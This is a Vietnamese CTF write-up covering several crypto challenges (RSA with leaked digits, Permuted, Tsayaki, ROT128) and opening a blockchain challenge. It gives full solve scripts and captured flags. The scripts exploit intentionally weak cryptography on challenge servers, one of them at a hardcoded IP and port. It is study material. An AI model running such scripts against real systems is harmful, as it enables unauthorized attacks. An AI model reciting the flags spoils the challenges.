- Bản chất chính là:
n[-1] = p[-1] * q[-1] (mod 10)
n[-2] = p[-1] * q[-1] + n[-1] // 10 (mod 10)
...
Vì vậy áp dụng logic trên, ta có thể recover lại toàn bộ số p
và q
, code hơi khó một chút nhưng khá hay. Idea ở đây là thử từng trường hợp vào chỗ khuyết rồi nhân lại xem thỏa mãn hay không.
Full code:
from Crypto.Util.number import *
from Crypto.Cipher import PKCS1_OAEP
from Crypto.PublicKey import RSA
from Crypto.PublicKey.RSA import RsaKey
class RSACipher:
def __init__(self, bits):
self.key = RsaKey(n=n, e=e, d=inverse(e, (p-1)*(q-1)), p=p, q=q, u=inverse(p, q))
self.cipher = PKCS1_OAEP.new(self.key)
def decrypt(self, c):
return self.cipher.decrypt(c)
e = 65537
n = 118641897764566817417551054135914458085151243893181692085585606712347004549784923154978949512746946759125187896834583143236980760760749398862405478042140850200893707709475167551056980474794729592748211827841494511437980466936302569013868048998752111754493558258605042130232239629213049847684412075111663446003
ct = '7f33a035c6390508cee1d0277f4712bf01a01a46677233f16387fae072d07bdee4f535b0bd66efa4f2475dc8515696cbc4bc2280c20c93726212695d770b0a8295e2bacbd6b59487b329cc36a5516567b948fed368bf02c50a39e6549312dc6badfef84d4e30494e9ef0a47bd97305639c875b16306fcd91146d3d126c1ea476'
c = int(ct, 16)
leak_p = '1_5_1_4_4_1_4_7_3_3_5_7_1_3_6_1_5_2_9_8_5_2_1_6_9_8_0_3_9_7_5_2_5_5_9_1_3_0_5_8_7_5_0_9_4_2_8_8_7_3_8_8_2_0_6_9_9_0_6_9_2_7_1_6_7_4_0_2_2_1_6_7_9_0_2_6_4_3'
leak_q = '_1_5_6_2_4_3_4_2_0_0_5_7_7_4_1_6_6_5_2_5_0_2_4_6_0_8_0_6_7_4_2_6_5_5_7_0_9_3_5_6_7_3_9_2_6_5_2_7_2_3_1_7_5_3_0_1_6_1_5_4_2_2_3_8_4_5_0_8_2_7_4_2_6_9_3_0_5_'
leak_p = leak_p.replace('_', '0')
leak_q = leak_q.replace('_', '0')
pq = {(int(leak_p), int(leak_q))}
TH = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
for i in range(155//2 + 1):
trials = set()
for p, q in pq:
for _p in TH:
temp_p = p + _p*pow(10, 2*i + 1)
for _q in TH:
temp_q = q + _q*pow(10, 2*i)
mod = pow(10, 2*i + 2)
if (temp_p * temp_q) % mod != n % mod:
continue
trials.add((temp_p, temp_q))
pq = trials
p = list(pq)[0][0]
q = list(pq)[0][1]
assert p*q == n
cipher = RSACipher(1024)
flag = cipher.decrypt(long_to_bytes(int(ct, 16))).decode()
print(flag)
Flag
HTB{v3r1fy1ng_pr1m3s_m0dul0_p0w3rs_0f_10!}
Permuted
credit: Zupp
Description
- Source:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.number import long_to_bytes
from hashlib import sha256
from random import shuffle
from secret import a, b, FLAG
class Permutation:
def __init__(self, mapping):
self.length = len(mapping)
assert set(mapping) == set(range(self.length)) # ensure it contains all numbers from 0 to length-1, with no repetitions
self.mapping = list(mapping)
def __call__(self, *args, **kwargs):
idx, *_ = args
assert idx in range(self.length)
return self.mapping[idx]
def __mul__(self, other):
ans = []
for i in range(self.length):
ans.append(self(other(i)))
return Permutation(ans)
def __pow__(self, power, modulo=None):
ans = Permutation.identity(self.length)
ctr = self
while power > 0:
if power % 2 == 1:
ans *= ctr
ctr *= ctr
power //= 2
return ans
def __str__(self):
return str(self.mapping)
def identity(length):
return Permutation(range(length))
x = list(range(50_000))
shuffle(x)
g = Permutation(x)
print('g =', g)
A = g**a
print('A =', A)
B = g**b
print('B =', B)
C = A**b
assert C.mapping == (B**a).mapping
sec = tuple(C.mapping)
sec = hash(sec)
sec = long_to_bytes(sec)
hash = sha256()
hash.update(sec)
key = hash.digest()[16:32]
iv = b"mg'g\xce\x08\xdbYN2\x89\xad\xedlY\xb9"
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(pad(FLAG, 16))
print('c =', encrypted)
Challenge output: output.txt
Solution
Với mình thì chall này khá lỏ, google đã có nhưng không thèm osint nên mất khá nhiều time để solve. Về cơ bản thì bài cũng sử dụng giao thức DH nhưng thay vì ECC hay dlog như hai chall trên thì là Permuted
. Dạng này khá mới với mình nhưng được mọi người support nên cũng đấm được.
Như hai bài trên, ta vẫn cần tìm lại key
, cụ thể là tìm priv_a
hoặc priv_b
. Đọc source thì biết được phép toán trang bị trong nhóm Permuted
này, bên cạnh đó, qua việc test nhiều lần thì mình nhận ra các phần tử trong nhóm Permuted
này đều có các vòng giao hoán của nó, tạm gọi là order
.
order
ở đây là số k
nhỏ nhất sao cho g**k = g
, cái này khá giống với order
trong định nghĩa nhóm. Vậy tại sao mình lại phân tích yếu tố order
này?
Dựa vào hai paper này và cả này nữa, mình khá chắc có thể thực hiện dlog
để tìm lại key
. Nhưng dlog
ở đây chỉ có approach giống Pohlig-Hellman
, không phải hoàn toàn giống. Mình sẽ vẫn tìm lại order
rồi factor
, giải các phương trình nhỏ rồi dùng CRT
để output ra kết quả cuối cùng.
Để tìm a
thỏa A = g**a
, trước tiên mình sẽ thử tính g.order()
. Hàm order()
này có thể dùng trong sage hoặc tự viết cũng được, nhưng cuối cùng sẽ tìm được: g.order() = 3311019189498977856900
Khi factor g.order()
mình nhận được ước số khá bé, rất dễ dàng cho thuật toán Pohlig-Hellman
trong Sn (Symmetric Group)
. Cụ thể code để tìm lại dlog
như sau:
from output import g, A, B
from sage.all import *
g = PermutationGroupElement(Permutation([i+1 for i in g]))
A = PermutationGroupElement(Permutation([i+1 for i in A]))
B = PermutationGroupElement(Permutation([i+1 for i in B]))
o = g.order()
a = []
b = []
for p,e in factor(o):
tg = g^(ZZ(o/p^e))
tA = A^(ZZ(o/p^e))
tB = B^(ZZ(o/p^e))
for i in range(p^e):
if tg^i==tA:
a.append([i,p^e])
for i in range(p^e):
if tg^i==tB:
b.append([i,p^e])
print(a)
print(b)
a = crt([i[0] for i in a],[i[1] for i in a])
b = crt([i[0] for i in b],[i[1] for i in b])
(Nhớ dùng trong sage)
Khi tìm lại được cả a
và b
mình đã assert
oke đồng nghĩa với approach mình đúng và có thể giải flag dễ dàng rồi.
- Script:
from output import g, A, B
from hashlib import sha256
from Crypto.Util.number import *
from Crypto.Util.Padding import unpad
from Crypto.Cipher import AES
g = PermutationGroupElement(Permutation([i+1 for i in g]))
A = PermutationGroupElement(Permutation([i+1 for i in A]))
B = PermutationGroupElement(Permutation([i+1 for i in B]))
o = g.order()
a = []
b = []
for p,e in factor(o):
tg = g^(ZZ(o/p^e))
tA = A^(ZZ(o/p^e))
tB = B^(ZZ(o/p^e))
for i in range(p^e):
if tg^i==tA:
a.append([i,p^e])
for i in range(p^e):
if tg^i==tB:
b.append([i,p^e])
a = crt([i[0] for i in a],[i[1] for i in a])
b = crt([i[0] for i in b],[i[1] for i in b])
assert g^a == A
assert g^b == B
class Permutationx:
def __init__(self, mapping):
self.length = len(mapping)
assert set(mapping) == set(range(self.length)) # ensure it contains all numbers from 0 to length-1, with no repetitions
self.mapping = list(mapping)
def __call__(self, *args, **kwargs):
idx, *_ = args
assert idx in range(self.length)
return self.mapping[idx]
def __mul__(self, other):
ans = []
for i in range(self.length):
ans.append(self(other(i)))
return Permutationx(ans)
def __pow__(self, power, modulo=None):
ans = Permutationx.identity(self.length)
ctr = self
while power > 0:
if power % 2 == 1:
ans *= ctr
ctr *= ctr
power //= 2
return ans
def __str__(self):
return str(self.mapping)
def identity(length):
return Permutationx(range(length))
from output import g, A, B
g = Permutationx(g)
assert str(g**a) == str(A) and str(g**b) == str(B)
A, B = Permutationx(A), Permutationx(B)
C = A**b
assert C.mapping == (B**a).mapping
sec = tuple(C.mapping)
sec = hash(sec)
sec = long_to_bytes(sec)
hash = sha256()
hash.update(sec)
key = hash.digest()[16:32]
enc = b'\x89\xba1J\x9c\xfd\xe8\xd0\xe5A*\xa0\rq?!wg\xb0\x85\xeb\xce\x9f\x06\xcbG\x84O\xed\xdb\xcd\xc2\x188\x0cT\xa0\xaaH\x0c\x9e9\xe7\x9d@R\x9b\xbd'
iv = b"mg'g\xce\x08\xdbYN2\x89\xad\xedlY\xb9"
cipher = AES.new(key, AES.MODE_CBC, iv)
flag = unpad(cipher.decrypt(enc), 16).decode()
print(flag)
Flag
HTB{w3lL_n0T_aLl_gRoUpS_aRe_eQUaL_!!}
Tsayaki
credit: Zupp
Description
- Source:
from tea import Cipher as TEA
from secret import IV, FLAG
import os
ROUNDS = 10
def show_menu():
print("""
============================================================================================
|| I made this decryption oracle in which I let users choose their own decryption keys. ||
|| I think that it's secure as the tea cipher doesn't produce collisions (?) ... Right? ||
|| If you manage to prove me wrong 10 times, you get a special gift. ||
============================================================================================
""")
def run():
show_menu()
server_message = os.urandom(20)
print(f'Here is my special message: {server_message.hex()}')
used_keys = []
ciphertexts = []
for i in range(ROUNDS):
print(f'Round {i+1}/10')
try:
ct = bytes.fromhex(input('Enter your target ciphertext (in hex) : '))
assert ct not in ciphertexts
for j in range(4):
key = bytes.fromhex(input(f'[{i+1}/{j+1}] Enter your encryption key (in hex) : '))
assert len(key) == 16 and key not in used_keys
used_keys.append(key)
cipher = TEA(key, IV)
enc = cipher.encrypt(server_message)
if enc != ct:
print(f'Hmm ... close enough, but {enc.hex()} does not look like {ct.hex()} at all! Bye...')
exit()
except:
print('Nope.')
exit()
ciphertexts.append(ct)
print(f'Wait, really? {FLAG}')
if __name__ == '__main__':
run()
Challenge code: Tương tự bài Iced TEA
Solution
Trước hết, mình sẽ phân tích flow của server. Server đầu tiên sẽ cung cấp cho chúng ta một server_message
(gọi tắt là sm
). sm
sẽ được mã hóa bằng thuật toán TEA-CBC
với IV
cố định (IV
này lấy từ local), vậy còn key
thì sao? Chúng ta sẽ chính là người cung cấp key
cho bài. Thực chất server
sẽ chạy 10 vòng, ở mỗi vòng sẽ lấy vào ct
và 4 key
của mình, nếu có thể tạo ra collision giữa ct
và enc_sm
thì được accept và chạy vào vòng kế tiếp. Tất nhiên sau khi sử dụng key
nào thì key
đó sẽ trở nên useless cho vòng key
tiếp theo. ct
cũng không được reused btw 😺:
Nếu bypass được tất cả 10 vòng này thì server sẽ nhả flag cho mình, nói là 10 vòng cho bé thôi chứ mỗi vòng chính lại cần tìm 4 key
khác nhau, tổng cộng là mình cần có 10 cặp (4 keys, ct)
để break bài này.
Trước hết IV
là cố định và mode là CBC
nên việc recover lại IV
không quá khó, yêu cầu hiểu về các mode là có thể làm được rồi:
Như đã thấy, đề bài cung cấp cho chúng ta sm
, bản mã của sm
, key
do chúng ta cung cấp, vậy thì bằng một thủ thuật đơn giản mình có thể tìm lại được IV
:
CBC:
E(key, sm ^ IV) = enc_sm
D(key, enc_sm) = sm ^ IV
Tuy nhiên nếu để ý kĩ, ta sẽ thấy D(key, enc_sm) của CBC
khá giống với ECB
, vậy nên mình sẽ decrypt(enc_sm)
bằng mode ECB
và xor output với sm
là recover xong IV
:
from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
from Crypto.Util.Padding import unpad, pad
from enum import Enum
class Mode(Enum):
ECB = 0x01
CBC = 0x02
class Cipher:
def __init__(self, key, iv=None):
self.BLOCK_SIZE = 64
self.KEY = [b2l(key[i:i+self.BLOCK_SIZE//16]) for i in range(0, len(key), self.BLOCK_SIZE//16)]
self.DELTA = 0x9e3779b9
self.IV = iv
if self.IV:
self.mode = Mode.CBC
else:
self.mode = Mode.ECB
def _xor(self, a, b):
return b''.join(bytes([_a ^ _b]) for _a, _b in zip(a, b))
def decrypt(self, ciphertext):
blocks = [ciphertext[i:i+self.BLOCK_SIZE//8] for i in range(0, len(ciphertext), self.BLOCK_SIZE//8)]
pt = b''
if self.mode == Mode.ECB:
for ct_block in blocks:
pt += self.decrypt_block(ct_block)
elif self.mode == Mode.CBC:
X = self.IV
for ct_block in blocks:
dec_block = self.decrypt_block(ct_block)
pt += self._xor(X, dec_block)
X = ct_block
return pt
def decrypt_block(self, ciphertext):
c = b2l(ciphertext)
K = self.KEY
msk = (1 << (self.BLOCK_SIZE//2)) - 1
m0 = c >> (self.BLOCK_SIZE//2)
m1 = c & ((1 << (self.BLOCK_SIZE//2)) - 1)
s = self.DELTA * 32
for i in range(32):
m1 -= ((m0 << 4) + K[2]) ^ (m0 + s) ^ ((m0 >> 5) + K[3])
m1 &= msk
m0 -= ((m1 << 4) + K[0]) ^ (m1 + s) ^ ((m1 >> 5) + K[1])
m0 &= msk
s -= self.DELTA
m = (m0 << (self.BLOCK_SIZE//2)) | m1
return l2b(m)
pt = '712ebc63b7ee138ddf8e2405309c38448b310e6d'
key = b'1' * 16
ct = 'ac442644f6e843e4382da8864248e85751ef723cc9a14d34'
pt, ct = bytes.fromhex(pt), bytes.fromhex(ct)
cipher = Cipher(key)
temp = cipher.decrypt(ct)
IV = cipher._xor(temp, pt)[:8]
print(IV)
(Nhớ dùng lại file như bài Iced TEA
. pt
và ct
ở trên là mình lấy từ server, còn key
là của mình gửi lên)
Tìm được IV = b'\r\xdd\xd2w<\xf4\xb9\x08'
(chỉ 8 bytes thôi nên đừng confuse 🐒, just chill). Việc tìm lại IV
rất có ý nghĩa cho attack của mình vì mình phải gửi lên ct
đã encrypt
bằng key
và IV
.
Công việc tiếp theo yêu cầu chúng ta kiến thức về Equivalent keys
. Tài liệu tham khảo về Equivalent keys
có thể xem ở mục 3.5 trong đây (shout-out anh Thangcoithongminh
🔥). Vì paper đã viết khá rõ rồi nên mình sẽ chỉ giải thích vulnerability thôi. Nếu nhìn vào hàm encrypt_block
trong class Cipher
:
Thì ai cũng sẽ nhận ra vấn đề các key
khác nhau có thể mã hóa giống nhau cho một bản rõ, ở đây maximum chỉ tìm được 3 key
khác nên số vòng test key
là 4 :monkey:
Dài dòng như trên nhưng cuối cùng kiểu gì cũng sẽ tìm được 4 keys lần lượt là:
h = 0x80000000
K0 = k0 + k1 + k2 + k3
K1 = k0 + k1 + xor(k2, h) + xor(k3, h)
K2 = xor(k0, h) + xor(k1, h) + k2 + k3
K3 = xor(k0, h) + xor(k1, h) + xor(k2, h) + xor(k3, h)
Tới đây thì done, mình đã có các key
rồi, giờ đem đi thử nghiệm thôi:
pt = '712ebc63b7ee138ddf8e2405309c38448b310e6d'
key = b'1' * 16
ct = 'ac442644f6e843e4382da8864248e85751ef723cc9a14d34'
pt, ct = bytes.fromhex(pt), bytes.fromhex(ct)
IV = b'\r\xdd\xd2w<\xf4\xb9\x08'
def keys(key):
h = 0x80000000
h = l2b(h)
k = [key[i:i+4] for i in range(0, 16, 4)]
K0 = k[0] + k[1] + k[2] + k[3]
K1 = k[0] + k[1] + xor(k[2], h) + xor(k[3], h)
K2 = xor(k[0], h) + xor(k[1], h) + k[2] + k[3]
K3 = xor(k[0], h) + xor(k[1], h) + xor(k[2], h) + xor(k[3], h)
return [K0, K1, K2, K3]
for key in keys(key):
cipher = Cipher(key, IV)
test = cipher.encrypt(pt)
print(test == ct)
Gotcha, giờ mình sẽ viết full code cho bài:
from pwn import *
from source import Cipher
from Crypto.Util.number import *
def keys(key: bytes):
h = 0x80000000
h = long_to_bytes(h)
k = [key[i:i+4] for i in range(0, 16, 4)]
K0 = k[0] + k[1] + k[2] + k[3]
K1 = k[0] + k[1] + xor(k[2], h) + xor(k[3], h)
K2 = xor(k[0], h) + xor(k[1], h) + k[2] + k[3]
K3 = xor(k[0], h) + xor(k[1], h) + xor(k[2], h) + xor(k[3], h)
return [K0, K1, K2, K3]
HOST = '83.136.254.199'
PORT = 36738
IV = b'\r\xdd\xd2w<\xf4\xb9\x08'
r = remote(HOST, PORT)
r.recvuntil(b': ')
sm = r.recvuntil(b'\n').split(b'\n')[0].decode()
for round in range(10):
key = (str(round) * 16).encode()
ct = Cipher(key=key, iv=IV).encrypt(bytes.fromhex(sm))
r.sendlineafter(b' (in hex) : ', bytes.hex(ct).encode())
temp = keys(key)
for k in temp:
r.sendlineafter(b'(in hex) : ', bytes.hex(k).encode())
print(f'Finish round number: {round + 1} !!!')
if round == 9:
print(r.recv().decode())
Flag
HTB{th1s_4tt4ck_m4k3s_T34_1n4ppr0pr14t3_f0r_h4sh1ng!}
ROT128
credit: Zupp
Description
- Source:
import random, os, signal
from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
from secret import FLAG
ROUNDS = 3
USED_STATES = []
_ROL_ = lambda x, i : ((x << i) | (x >> (N-i))) & (2**N - 1)
N = 128
def handler(signum, frame):
print("\n\nToo slow, don't try to do sneaky things.")
exit()
def validate_state(state):
if not all(0 < s < 2**N-1 for s in user_state[-2:]) or not all(0 <= s < N for s in user_state[:4]):
print('Please, make sure your input satisfies the upper and lower bounds.')
return False
if sorted(state[:4]) in USED_STATES:
print('You cannot reuse the same state')
return False
if sum(user_state[:4]) < 2:
print('We have to deal with some edge cases...')
return False
return True
class HashRoll:
def __init__(self):
self.reset_state()
def hash_step(self, i):
r1, r2 = self.state[2*i], self.state[2*i+1]
return _ROL_(self.state[-2], r1) ^ _ROL_(self.state[-1], r2)
def update_state(self, state=None):
if not state:
self.state = [0] * 6
self.state[:4] = [random.randint(0, N) for _ in range(4)]
self.state[-2:] = [random.randint(0, 2**N) for _ in range(2)]
else:
self.state = state
def reset_state(self):
self.update_state()
def digest(self, buffer):
buffer = int.from_bytes(buffer, byteorder='big')
m1 = buffer >> N
m2 = buffer & (2**N - 1)
self.h = b''
for i in range(2):
self.h += int.to_bytes(self.hash_step(i) ^ (m1 if not i else m2), length=N//8, byteorder='big')
return self.h
print('Can you test my hash function for second preimage resistance? You get to select the state and I get to choose the message ... Good luck!')
hashfunc = HashRoll()
for _ in range(ROUNDS):
print(f'ROUND {_+1}/{ROUNDS}!')
server_msg = os.urandom(32)
hashfunc.reset_state()
server_hash = hashfunc.digest(server_msg)
print(f'You know H({server_msg.hex()}) = {server_hash.hex()}')
signal.signal(signal.SIGALRM, handler)
signal.alarm(2)
user_state = input('Send your hash function state (format: a,b,c,d,e,f) :: ').split(',')
try:
user_state = list(map(int, user_state))
if not validate_state(user_state):
print("The state is not valid! Try again.")
exit()
hashfunc.update_state(user_state)
if hashfunc.digest(server_msg) == server_hash:
print(f'Moving on to the next round!')
USED_STATES.append(sorted(user_state[:4]))
else:
print('Not today.')
exit()
except:
print("The hash function's state must be all integers.")
exit()
finally:
signal.alarm(0)
print(f'Uhm... how did you do that? I thought I had cryptanalyzed it enough ... {FLAG}')
Solution
Bài này là bài lỏ nhất mình từng làm, một là vì có cả unintended solution, hai là bài này hơi quá khó để mình giải và thực sự học được gì đó. Tuy nhiên mình sẽ cố để hấp thụ tinh hoa trong bài toán này.
Trước hết, file source gợi ý cho mình về ý tưởng khai thác second preimage resistance của hàm băm tự chế HashRoll()
. Chúng ta sẽ cần break 3 lần liên tiếp để server nhả flag. Về công việc trong mỗi vòng, mình có thể tóm tắt lại như sau:
Server đẻ ra một
server_msg
với 32 bytes, sau đó trả ra cho chúng ta một hàm băm củaserver_msg
gọi làserver_hash = H(server_msg)
Trong 2s, chúng ta sẽ cần nhập vào các
user_state
hợp lệ, sau đó server sẽ thử bămuser_state
ra, nếuH(user_state) = server_hash
thì chuyển tới vòng tiếp theo.Như vậy, công việc chính của mỗi vòng là tìm
user_state
, tạm gọi làS'
sao choH(S') = H(S)
, vớiS
làserver_msg
. Trong đó,S'
(cũng nhưS
) gồm có các thành phầna
,b
,c
,d
là số bits đểROL - left rotate
(dịch vòng trái) vàe
,f
là hai số 128 bits sắpROLed
. Tuy nhiên, có hai điều cần phải lưu ý,S'
cần phải hợp lệ, tức là:Không được reuse lại
S'
Tổng
a + b + c + d
không được nhỏ hơn 2 (tránh vài trường hợp đặc biệt)a
,b
,c
,d
phải nằm trong nửa đoạn[0, 128)
,e
vàf
phải nằm trong khoảng(0, 2^128 - 1)
Tất cả mọi thứ đều được phân tích xong, đã biết được chúng ta cần gửi lên server bộ số (a, b, c, d, e, f)
sao cho
H(S') = H(S)
<=> h1' + h2' = ROL(e, a) ^ ROL(f, b) ^ m1 + ROL(e, c) ^ ROL(f, d) ^ m2 = h1 + h2
Giờ mình sẽ đi tới cách attack, theo cả unintended và intended solution.
Unintended solution
Unintended solution này xảy ra vì chúng ta có thể dùng
z3
để giải. Khi đề bài cho mìnhserver_msg
(S
) vàserver_hash
(H(S)
)cũng đồng nghĩa với việc chúng ta có được các giá trịh1
,h2
(từH(S)
) vàm1
,m2
(từS
). Về chi tiết mình sẽ không đi quá sâu mà chỉ gợi ý tìm bằng cách khai thácbuffer
vìbuffer = l2b(S)
. Từ đây, chắc chắn một điều ta có thể giải ra bộ số(a, b, c, d, e, f)
thỏa mãnh1' + h2' = h1 + h2
như trên bằngz3
. Đóng gói bộ số này gửi lên server là xong:
from z3 import *
from pwn import *
import re
HOST =
PORT =
def find_hex_strings(text):
pattern = r'\b[a-fA-F0-9]{64}\b'
hex_strings = re.findall(pattern, text)
return hex_strings
while True:
try:
r = remote(HOST, PORT)
for i in range(3):
data = r.recvuntil(b"Send your hash function state (format: a,b,c,d,e,f) ::").decode()
data = find_hex_strings(data)
buffer = int(data[0], 16)
h = data[1]
N = 128
_ROL_ = lambda x, i: ((x << i) | (x >> (N-i))) & (2**N - 1)
m1 = buffer >> N
m2 = buffer & (2**N - 1)
h1 = int(h[:32], 16) ^ m1
h2 = int(h[32:], 16) ^ m2
solver = Solver()
# Declare e and f as 128 bit BitVecs
e, f = BitVecs('e f', N)
def constraint_ROL_xor(e, f, i1, i2, h):
return _ROL_(e, i1) ^ _ROL_(f, i2) == h
a, b, c, d = BitVecs('a b c d', 7)
a,b,c,d = ZeroExt(128-7, a), ZeroExt(128-7, b), ZeroExt(128-7, c), ZeroExt(128-7, d)
solver.add(constraint_ROL_xor(e, f, a, b, h1))
solver.add(constraint_ROL_xor(e, f, c, d, h2))
if solver.check() == sat:
m = solver.model()
print(m)
dict = {d.name(): m[d] for d in m.decls()}
res = f"{dict['a']},{dict['b']},{dict['c']},{dict['d']},{dict['e']},{dict['f']}"
r.sendline(res.encode())
r.recvline()
print(r.recvline())
except:
pass
(Shout-out anh lilthawg
vì bộ code lỏ này 🔥)
Tuy nhiên không nên vứt máy một chỗ rùi chạy code vì code brute vô hạn không ngừng có lúc đúng có lúc sai và sẽ có một lúc nào đó mọi người không ngờ mà flag lòi ra đâu 🐧
Intended solution
Về intended solution của bài này thì dài kinh khủng khiếp (vì là Insane mà). Tuy nhiên, có thể thu nhỏ vấn đề lại về bài viết này
Nếu đọc bài viết trên, ta có thể hình thành hoàn toàn lời giải cho bài này, tuy nhiên mình cần làm rõ một vài vấn đề:
Ta đã biết phép
xor
chính là phép cộng trong trườngFp
vớip = 2
, vậy còn phép dịch trái thì sao. Dịch trái 1 bit tương ứng với việc nhân số đó với 2^1, 2 bits là nhân với 2^2, tổng quát lại, dịch k bits là nhân với 2^k.Tuy nhiên, nếu phần tử
A
của ta là đa thức, khi đó, ta gọi trường hữu hạnFp
trên là một vành đa thức (polynomial rings)Fp[z]
thỏa mãnA
là một tổ hợp tuyến tính củaa[i] * z^i
,a[i]
là phần tử củaFp
. Trong bài này, trường nghiên cứu làGF(2^128)
Vậy kiến thức này liên quan đến gì tới bài, thực ra nhiều là đằng khác. Xét cách biểu diễn đa thức của một số trong trường
GF(2^k)
- là trường Galois đã gặp trong mã hóa AES vớik = 3
, ta cóGF(2^3)
và trường này có 8 phần tử phân biệt từ 0 đến 7, cụ thể như sau:
Số | Biểu diễn nhị phân | Biểu diễn đa thức |
0 | 000 | 0x^2 + 0x^1 + 0x^0 = 0 |
1 | 001 | 0x^2 + 0x^1 + 1x^0 = 1 |
2 | 010 | 0x^2 + 1x^1 + 0x^0 = x |
3 | 011 | 0x^2 + 1x^1 + 1x^0 = x + 1 |
4 | 100 | 1x^2 + 0x^1 + 0x^0 = x^2 |
5 | 101 | 1x^2 + 0x^1 + 1x^0 = x^2 + 1 |
6 | 110 | 1x^2 + 1x^1 + 0x^0 = x^2 + x |
7 | 111 | 1x^2 + 1x^1 + 1x^0 = x^2 + x + 1 |
- Nói cách khác, các phần tử trong trường
GF(2^8)
được biểu diễn dưới dạng trên (cột 3). Nếu taxor
hai phần tử với nhau, giả sử7 xor 3
sẽ nhận được kết quả làx^2
, vì:
7 xor 3
= 7 + 3 (mod 2)
= (x^2 + x + 1) + (x + 1) (mod 2)
= x^2 + 2x + 2 (mod 2)
= x^2 (mod 2)
Đối với bài, trường chúng ta làm việc sẽ là GF(2^128)
và chứa 128 phần tử từ 0 đến 127. Khi đó, nếu tính h1'
và h2'
như bài, ta sẽ thực hiện:
h1' = ROL(e, a) ^ ROL(f, b) ^ m1
h2' = ROL(e, c) ^ ROL(f, d) ^ m2
<=> h1' ^ m1 = ROL(e, a) ^ ROL(f, b)
h2' ^ m2 = ROL(e, c) ^ ROL(f, d)
- Nếu chọn a = c, khi đó:
h1' ^ m1 = ROL(e, a) + 2**b * f
h2' ^ m2 = ROL(e, a) + 2**d * f (theo như lí thuyết ở trên)
=> h1' ^ m1 ^ h2' ^ m2 = 2**b * f ^ 2**d * f
=> h1' ^ m1 ^ h2' ^ m2 = (2**b ^ 2**d)f
=> f = (h1' ^ m1 ^ h2' ^ m2) / (2**b ^ 2**d)
=> f = (h1 ^ h2 ^ m1 ^ m2) / (2**b ^ 2**d)
+ Đến đây chỉ cần check factor như bài viết trong link là được
- Ta có ROL(e, a) = 2**a * e
=> 2**a = ROL(e, a) / e
=> a = log2(ROL(e, a) / e)
+ Đến đây cũng check factor như bài viết trong link
- Lại có e = ROL(e, a) / (2**a)
=> e = (h1' ^ m1 - ROL(f, b)) / (2**a)
=> e = (h1 ^ m1 - ROL(f, b)) / (2**a)
Vậy chúng ta đã có đầy đủ bộ số (e, f)
dựa vào (a, b, c, d)
và (h1, h2, m1, m2)
thỏa mãn yêu cầu đề bài, vậy attack thôi.
Code:
from pwn import process
from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
import itertools, math
from sage.all import *
N = 128
F = GF(2**N, 'w')
w = F.gen()
PR = PolynomialRing(GF(2), 'z')
z = PR.gen()
_ROL_ = lambda x, i : ((x << i) | (x >> (N-i))) & (2**N - 1)
def int2pre(i):
coeffs = list(map(int, bin(i)[2:].zfill(N)))[::-1]
return PR(coeffs)
def pre2int(p):
coeffs = p.coefficients(sparse=False)
return sum(2**i * int(coeffs[i]) for i in range(len(coeffs)))
def pre2int(p):
coeffs = p.coefficients(sparse=False)
return sum(2**i * int(coeffs[i]) for i in range(len(coeffs)))
def get_all_bd():
powers = '0123456789'
cands = itertools.product(powers, repeat=2)
bd = {}
for cand in set(cands):
b = int(cand[0])
d = int(cand[1])
s = 2**b + 2**d
bd[s] = sorted([b, d])
return bd
def get_b_and_d(H, bd, visited):
factors = sorted([F(i**j).integer_representation() for i,j in list(H.factor())])
for fact in factors:
if fact in visited: continue
if fact in bd:
b, d = bd[fact]
visited.append(fact)
return (b, d)
def get_a_and_c(numer):
numer_factors = sorted([F(i**j).integer_representation() for i,j in list(numer.factor())])
cands = []
for factor in numer_factors:
a = int(math.log2(factor))
if 2**a == factor:
c = a
cands.append((a, c))
return cands
def solve(io, bd, used_states, visited):
io.recvuntil(b'H(')
server_msg = int(io.recv(64), 16)
io.recvuntil(b' = ')
server_hash = l2b(int(io.recvline().strip().decode(), 16))
m1, m2 = server_msg >> N, server_msg & (2**N - 1)
H1, H2 = b2l(server_hash[:16]) ^ m1, b2l(server_hash[16:]) ^ m2
H = int2pre(H1) + int2pre(H2)
if not H: return None
bd = get_b_and_d(H, bd, visited)
if not bd: return None
b, d = bd
assert H.mod(int2pre(2**b + 2**d)) == 0
f = H / int2pre(2**b + 2**d)
numer = int2pre(H1) - f * int2pre(2**b)
ac = get_a_and_c(numer)
if not ac: return None
for (a, c) in ac:
e = numer / int2pre(2**a)
e = pre2int(PR(e))
f = pre2int(PR(f))
if sorted([a, b, c, d]) in used_states: continue
if H1 == _ROL_(e, a) ^ _ROL_(f, b) and H2 == _ROL_(e, c) ^ _ROL_(f, d):
used_states.append(sorted([a, b, c, d]))
state = a, b, c, d, e, f
return state
bd = get_all_bd()
while True:
used_states = []
visited = []
done = 0
io = process(['python3', 'server.py'])
for _ in range(3):
state = solve(io, bd, used_states, visited)
if state:
a, b, c, d, e, f = state
io.sendlineafter(b' :: ', f'{a},{b},{c},{d},{e},{f}'.encode())
done += 1
print(f'Finish round number {done} !!!')
if done == 3:
io.recvline()
print(io.recvline().decode())
exit()
else:
print('Try again!!!')
io.close()
break
(Code hơi dài và khó viết nên quả thật bài này Insane
cũng đáng)
- Cách attack cũng chỉ vậy thôi, tuy nhiên lại nằm ở việc khai thác
ROL
,GF(2**128)
và việc tìmcollision
cho hàm băm nên bài này thực sự rất hay, xứng đáng 💯
Flag
HTB{k33p_r0t4t1ng_4nd_r0t4t1ng_4nd_x0r1ng_4nd_r0t4t1ng!}
BlockChain
Introduction
Trước hết thì với mình, mảng Blockchain này hoàn toàn mới và có rất nhiều thứ mình cần học. Tuy nhiên trong quá trình tham gia giải thì mình được mọi người support khá nhiều, shout-out anh Mạnh AT18
, anh lilthawg29
với ông bạn lỏ Thụy AT20
. Về flow của các challs dưới đây thì có thể mình chưa thể nắm hết được nhưng mình sẽ cố gắng trình bày chính xác nhất có thể, thanks for reading ❤️
Russian Roulette
Description
Setup.sol
:
pragma solidity 0.8.23;
import {RussianRoulette} from "./RussianRoulette.sol";
contract Setup {
RussianRoulette public immutable TARGET;
constructor() payable {
TARGET = new RussianRoulette{value: 10 ether}();
}
function isSolved() public view returns (bool) {
return address(TARGET).balance == 0;
}
}
RussianRoulette.sol
:
pragma solidity 0.8.23;
contract RussianRoulette {
constructor() payable {
